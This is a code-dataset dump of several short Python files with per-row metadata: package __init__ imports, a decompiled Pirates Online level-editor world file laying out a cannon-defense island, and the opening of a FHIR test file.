| 40.477124 | 85 | 0.694332 | 922 | 6,193 | 4.4859 | 0.125813 | 0.058027 | 0.037234 | 0.072534 | 0.815039 | 0.779014 | 0.746373 | 0.746373 | 0.746373 | 0.725097 | 0 | 0.045942 | 0.142419 | 6,193 | 152 | 86 | 40.743421 | 0.732819 | 0 | 0 | 0.48855 | 0 | 0 | 0.298078 | 0.154368 | 0 | 0 | 0 | 0 | 0.267176 | 1 | 0.076336 | false | 0 | 0.045802 | 0 | 0.122137 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
df2b2b7273b88ba0e39867300ebff51e4545bb28 | 43 | py | Python | disposable_email_validator/__init__.py | 2dlab/disposable-mail-validator | 637f00252ce8326e28c469d05094b9fb1707ef53 | [
"MIT"
] | 1 | 2021-12-30T09:53:12.000Z | 2021-12-30T09:53:12.000Z | disposable_email_validator/__init__.py | 2dlab/disposable-mail-validator | 637f00252ce8326e28c469d05094b9fb1707ef53 | [
"MIT"
] | null | null | null | disposable_email_validator/__init__.py | 2dlab/disposable-mail-validator | 637f00252ce8326e28c469d05094b9fb1707ef53 | [
"MIT"
] | null | null | null | from .validator import is_disposable_email
| 21.5 | 42 | 0.883721 | 6 | 43 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.093023 | 43 | 1 | 43 | 43 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
10c67b08f1084a84fe29ffa2792f15d6c751df2b | 185 | py | Python | gino_admin/__init__.py | xnuinside/gino-admin | 1789d63c66e808a17b1cd4c96537ba6e64d227db | [
"MIT"
] | 36 | 2020-05-14T14:19:47.000Z | 2022-03-20T15:37:47.000Z | gino_admin/__init__.py | xnuinside/gino-admin | 1789d63c66e808a17b1cd4c96537ba6e64d227db | [
"MIT"
] | 12 | 2020-05-12T18:18:34.000Z | 2021-12-29T18:48:17.000Z | gino_admin/__init__.py | xnuinside/gino_admin | e9535337ac0218efcec62086ba1180c6ffb702ce | [
"MIT"
] | 8 | 2020-05-11T23:22:53.000Z | 2022-02-20T18:54:52.000Z | from gino_admin.core import add_admin_panel, create_admin_app # noqa F401
# load routes
from gino_admin.routes import crud # noqa F401
from gino_admin.routes import main # noqa F401
| 37 | 74 | 0.805405 | 31 | 185 | 4.580645 | 0.483871 | 0.169014 | 0.274648 | 0.267606 | 0.352113 | 0 | 0 | 0 | 0 | 0 | 0 | 0.057325 | 0.151351 | 185 | 4 | 75 | 46.25 | 0.847134 | 0.221622 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
10ce9554f484a88deaf31400142d1d2bfc86409a | 25 | py | Python | wsgi.py | tonikarppi/sayhello | d585a5f1d411a1357060883a4214ebf26cf10cbb | [
"MIT"
] | null | null | null | wsgi.py | tonikarppi/sayhello | d585a5f1d411a1357060883a4214ebf26cf10cbb | [
"MIT"
] | null | null | null | wsgi.py | tonikarppi/sayhello | d585a5f1d411a1357060883a4214ebf26cf10cbb | [
"MIT"
] | null | null | null | from sayhello import app
| 12.5 | 24 | 0.84 | 4 | 25 | 5.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.16 | 25 | 1 | 25 | 25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
10e319751ea14922344fd253425df8d69a42e192 | 28 | py | Python | crslab/model/recommendation/bert/__init__.py | hcmus-nlp-chatbot/CRSLab | b3ab262a4ad93cbae98fe66541eb735377768a35 | [
"MIT"
] | 315 | 2021-01-05T06:31:57.000Z | 2022-03-16T21:12:23.000Z | crslab/model/recommendation/bert/__init__.py | hcmus-nlp-chatbot/CRSLab | b3ab262a4ad93cbae98fe66541eb735377768a35 | [
"MIT"
] | 23 | 2021-01-09T05:43:26.000Z | 2022-03-28T21:05:49.000Z | crslab/model/recommendation/bert/__init__.py | hcmus-nlp-chatbot/CRSLab | b3ab262a4ad93cbae98fe66541eb735377768a35 | [
"MIT"
] | 71 | 2021-01-05T06:31:59.000Z | 2022-03-06T06:30:35.000Z | from .bert import BERTModel
| 14 | 27 | 0.821429 | 4 | 28 | 5.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 28 | 1 | 28 | 28 | 0.958333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
80469fd4a49c2108136fb7ace67e01b43bb58134 | 54,193 | py | Python | pirates/leveleditor/worldData/TortugaCannonIsland.py | itsyaboyrocket/pirates | 6ca1e7d571c670b0d976f65e608235707b5737e3 | [
"BSD-3-Clause"
] | 3 | 2021-02-25T06:38:13.000Z | 2022-03-22T07:00:15.000Z | pirates/leveleditor/worldData/TortugaCannonIsland.py | itsyaboyrocket/pirates | 6ca1e7d571c670b0d976f65e608235707b5737e3 | [
"BSD-3-Clause"
] | null | null | null | pirates/leveleditor/worldData/TortugaCannonIsland.py | itsyaboyrocket/pirates | 6ca1e7d571c670b0d976f65e608235707b5737e3 | [
"BSD-3-Clause"
] | 1 | 2021-02-25T06:38:17.000Z | 2021-02-25T06:38:17.000Z | # uncompyle6 version 3.2.0
# Python bytecode 2.4 (62061)
# Decompiled from: Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:19:30) [MSC v.1500 32 bit (Intel)]
# Embedded file name: pirates.leveleditor.worldData.TortugaCannonIsland
from pandac.PandaModules import Point3, VBase3, Vec4, Vec3
objectStruct = {'Objects': {'1259029424.87akelts': {'Type': 'Island', 'Name': 'TortugaCannonIsland', 'File': '', 'Environment': 'OpenSky', 'Minimap': False, 'Objects': {'1259029471.83akelts': {'Type': 'Locator Node', 'Name': 'portal_exterior_1', 'Hpr': VBase3(-24.42, 0.0, 0.0), 'Pos': Point3(-11.359, 319.908, 27.826), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1259029471.86akelts': {'Type': 'Locator Node', 'Name': 'portal_exterior_2', 'Hpr': VBase3(-152.208, 0.0, 0.0), 'Pos': Point3(409.314, 130.159, 6.616), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1259029471.87akelts': {'Type': 'Locator Node', 'Name': 'portal_exterior_3', 'Hpr': VBase3(-21.783, 0.0, 0.0), 'Pos': Point3(-368.844, 206.493, -0.529), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1259029477.59akelts': {'Type': 'Locator Node', 'Name': 'portal_exterior_1', 'Hpr': VBase3(-24.42, 0.0, 0.0), 'Pos': Point3(-11.359, 319.908, 27.826), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1259029477.62akelts': {'Type': 'Locator Node', 'Name': 'portal_exterior_2', 'Hpr': VBase3(-76.56, 0.0, 0.0), 'Pos': Point3(960.046, 290.095, 37.54), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1259029477.64akelts': {'Type': 'Locator Node', 'Name': 'portal_exterior_3', 'Hpr': VBase3(-68.249, 0.0, 0.0), 'Pos': Point3(1500.08, -65.698, 4.606), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1264434287.73Bill': {'Type': 'Locator Node', 'Name': 'portal_exterior_1', 'Hpr': VBase3(-17.995, 0.0, 0.0), 'Pos': Point3(298.146, -13.465, 5.794), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1264434287.78Bill': {'Type': 'Locator Node', 'Name': 'portal_exterior_3', 'Hpr': VBase3(-68.249, 0.0, 0.0), 'Pos': Point3(1500.08, -65.698, 4.606), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1264434288.72Bill': {'Type': 'Locator Node', 'Name': 'portal_exterior_2', 'Hpr': VBase3(-76.56, 0.0, 0.0), 'Pos': Point3(960.046, 290.095, 37.54), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1264434288.7Bill': {'Type': 'Prop_Island', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(171.87, 0.0, 0.0), 'Pos': Point3(1500.0, -950.0, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': 'Large', 'VisZone': '20', 'Visual': {'Model': 'models/islands/pir_m_are_isl_cannon_complementaryIsland'}}, '1264434289.33Bill': {'Type': 'Cannon Defense', 'DisableCollision': False, 'Hpr': VBase3(0.0, 0.0, 0.0), 'Objects': {'1264434289.36Bill': {'Type': 'Player Spawn Node', 'Hpr': VBase3(270.0, 0.0, 0.0), 'Index': -1, 'Pos': Point3(-12.644, 0.43, -0.024), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'VisSize': '', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1264434289.56Bill': {'Type': 'Defense Cannon', 'GridPos': Point3(-316.0, -553.5, 30.0), 'Hpr': VBase3(270.0, 0.0, 0.0), 'MaxPower': '1.0', 'MinPower': '0.2', 'Pos': Point3(16.0, 7.5, 0.0), 'Scale': VBase3(0.9, 0.9, 0.9), 'VisSize': '', 'Visual': {'Model': 'models/shipparts/cannon_bronze_hi'}}, '1264434289.58Bill': {'Type': 'Defense Cannon', 'GridPos': Point3(-316.0, -568.5, 29.976), 'Hpr': VBase3(270.0, 0.0, 0.0), 'MaxPower': '1.0', 'MinPower': '0.2', 'Pos': Point3(16.0, -7.5, -0.024), 'Scale': VBase3(0.9, 0.9, 0.9), 'VisSize': '', 'Visual': {'Model': 'models/shipparts/cannon_bronze_hi'}}, '1264434289.61Bill': {'Type': 'Defense Cannon', 'GridPos': Point3(-315.363, -583.5, 29.976), 'Hpr': VBase3(270.0, 0.0, 0.0), 'MaxPower': '1.0', 'MinPower': '0.2', 'Pos': Point3(16.637, -22.5, -0.024), 'Scale': VBase3(0.9, 0.9, 0.9), 'VisSize': '', 'Visual': {'Model': 'models/shipparts/cannon_bronze_hi'}}, '1264434289.63Bill': {'Type': 'Defense Cannon', 'GridPos': Point3(-316.0, -538.5, 29.976), 'Hpr': VBase3(270.0, 0.0, 0.0), 'MaxPower': '1.0', 'MinPower': '0.2', 'Pos': Point3(16.0, 22.5, -0.024), 'Scale': VBase3(0.9, 0.9, 0.9), 'VisSize': '', 'Visual': {'Model': 'models/shipparts/cannon_bronze_hi'}}}, 'Pos': Point3(550.0, -525.0, 155.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/buildings/pir_m_gam_can_cannonOverlay_tortuga'}}, '1265059806.03Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(812.875, -350.143, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.05Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(916.946, -348.529, 0.001), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.06Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Mine', 'Pos': Point3(843.573, -333.0, 0.15), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.08Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Wait-Point', 'Pos': Point3(1076.421, -637.579, -0.001), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.11Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(958.439, -407.441, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.13Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(878.613, -331.0, 0.15), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.14Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Spawn', 'Pos': Point3(1022.641, -1011.273, -0.001), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.16Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Depart', 'Pos': Point3(1244.933, -433.01, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.19Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1827.716, -144.909, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.23Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1938.9, -841.25, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.25Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1598.515, -480.157, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.28Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(825.0, -546.33, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.2Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1057.1, -471.589, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.31Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1601.81, -545.696, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.33Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Mine', 'Pos': Point3(1191.313, -317.655, 0.15), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.36Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Spawn', 'Pos': Point3(770.724, -985.842, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.38Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1047.41, -849.467, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.39Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Depart', 'Pos': Point3(1301.941, -353.612, 0.1), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.3Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1474.414, -336.733, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.41Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Depart', 'Pos': Point3(1247.713, -504.169, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.44Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(785.76, -715.768, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.47Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1894.019, -725.29, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.48Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(667.699, -837.218, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.52Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1121.793, -444.43, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.53Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(735.982, -761.265, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.56Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1119.652, -374.101, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.58Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Mine', 'Pos': Point3(1011.845, -331.545, 0.15), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.59Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1817.723, -618.976, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.61Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1840.987, -4.864, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.64Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Wait-Point', 'Pos': Point3(819.47, -477.565, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 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'["Objects"]["1259029424.87akelts"]["Objects"]["1267125973.91laura"]', '1267125973.91laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125973.91laura"]', '1267125973.96laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125973.91laura"]["Objects"]["1267125973.96laura"]', '1267125973.97laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125973.91laura"]["Objects"]["1267125973.97laura"]', '1267125983.24laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125983.24laura"]', '1267125983.24laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125983.24laura"]', '1267125983.29laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125983.24laura"]["Objects"]["1267125983.29laura"]', '1267125983.32laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125983.24laura"]["Objects"]["1267125983.32laura"]', '1267125983.34laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125983.24laura"]["Objects"]["1267125983.34laura"]', '1267125991.69laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125991.69laura"]', '1267125991.69laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125991.69laura"]', '1267125991.72laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125991.69laura"]["Objects"]["1267125991.72laura"]', '1267126000.65laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126000.65laura"]', '1267126000.65laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126000.65laura"]', '1267126000.69laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126000.65laura"]["Objects"]["1267126000.69laura"]', '1267126011.12laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126011.12laura"]', '1267126011.12laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126011.12laura"]', '1267126011.15laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126011.12laura"]["Objects"]["1267126011.15laura"]', '1267126018.27laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126018.27laura"]', '1267126018.27laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126018.27laura"]', '1267129208.35laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129208.35laura"]', '1267129208.35laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129208.35laura"]', '1267129208.38laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129208.35laura"]["Objects"]["1267129208.38laura"]', '1267129290.13laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129290.13laura"]', '1267129290.13laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129290.13laura"]', '1267129290.16laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129290.13laura"]["Objects"]["1267129290.16laura"]', '1267129410.41laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129410.41laura"]', '1267129551.96laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129551.96laura"]', '1267129573.43laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129573.43laura"]', '1267129645.8laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129645.8laura"]', '1267129724.47laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129724.47laura"]', '1267129754.82laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129754.82laura"]', '1267129847.24laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129847.24laura"]', '1267129971.24laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129971.24laura"]', '1267130013.74laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130013.74laura"]', '1267130071.76laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130071.76laura"]', '1267130071.76laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130071.76laura"]', '1267130071.77laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130071.76laura"]["Objects"]["1267130071.77laura"]', '1267130117.49laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130117.49laura"]', '1267130149.41laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130149.41laura"]', '1267130149.41laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130149.41laura"]', '1267130149.44laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130149.41laura"]["Objects"]["1267130149.44laura"]'}}
extraInfo = {'camPos': Point3(770.931, -725.643, 205.174), 'camHpr': VBase3(-21.4432, -12.9302, 0), 'focalLength': 1.39999997616, 'skyState': 2, 'fog': 0} | 7,741.857143 | 53,745 | 0.650988 | 7,388 | 54,193 | 4.728614 | 0.110585 | 0.034636 | 0.033577 | 0.030915 | 0.720824 | 0.615429 | 0.559095 | 0.489166 | 0.45287 | 0.415171 | 0 | 0.270304 | 0.073903 | 54,193 | 7 | 53,746 | 7,741.857143 | 0.425779 | 0.004152 | 0 | 0 | 0 | 0 | 0.597732 | 0.275258 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
33b92ba09451704638724fc115d33272ddced04e | 23 | py | Python | factory/settings/__init__.py | jakeemerson/jakes-factory-inventory | 1a8699063203f011171a1c77fbf2bab75ec6fbbd | [
"MIT"
] | 1 | 2016-05-01T21:21:58.000Z | 2016-05-01T21:21:58.000Z | factory/settings/__init__.py | jakeemerson/jakes-factory-inventory | 1a8699063203f011171a1c77fbf2bab75ec6fbbd | [
"MIT"
] | null | null | null | factory/settings/__init__.py | jakeemerson/jakes-factory-inventory | 1a8699063203f011171a1c77fbf2bab75ec6fbbd | [
"MIT"
] | null | null | null | from defaults import *
| 11.5 | 22 | 0.782609 | 3 | 23 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173913 | 23 | 1 | 23 | 23 | 0.947368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
33d219370190e146635c0b6c42b80c550f63e861 | 16,841 | py | Python | fhir/resources/tests/test_diagnosticreport.py | mmabey/fhir.resources | cc73718e9762c04726cd7de240c8f2dd5313cbe1 | [
"BSD-3-Clause"
] | null | null | null | fhir/resources/tests/test_diagnosticreport.py | mmabey/fhir.resources | cc73718e9762c04726cd7de240c8f2dd5313cbe1 | [
"BSD-3-Clause"
] | null | null | null | fhir/resources/tests/test_diagnosticreport.py | mmabey/fhir.resources | cc73718e9762c04726cd7de240c8f2dd5313cbe1 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
"""
